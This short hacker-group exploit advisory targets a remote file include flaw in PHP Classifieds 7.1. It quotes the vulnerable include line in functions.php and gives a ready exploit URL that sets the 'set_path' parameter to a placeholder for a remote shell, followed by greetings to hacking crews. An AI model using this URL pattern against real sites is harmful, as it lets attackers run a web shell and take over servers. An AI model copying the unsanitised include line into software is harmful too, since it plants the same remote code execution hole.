=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= # PHP Classifieds 7.1 - Remote File Include Vulnerability =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= # Download : http://softadmin.deltascripts.com/download_get.php?id=32 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= # Bug in : functions.php # Vuln Code : include($set_path . '/admin/htmlMimeMail/htmlMimeMail.php'); =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =- # Exploit : www.site.com/[path]/functions.php?set_path=|SH3LL|? =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=- # Discovered by : Le CoPrA # Mail To : Le.CoPrA (at) hotmail (dot) com [email concealed] # Special Greetz FlYinG 2 || LovER BoY || # Greetz4// alkasrgolden,3theaby geer Mohajer22, Qaher, Saudi HaCkRz, Black-Code, kOnDoR, AsbMay,HACKERS PAL, simo64, MR.wolF,Abdullah-00, cRiMiNaL NeT,020,Dark-Man, Dr.ExE ,egyptghost,KaBaRa,ToOoFA # Channel : wWw.TrYaG.cOm/vb ** WwW.D4Eg.orG ** WwW.kOnDoR4.Com/vb =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=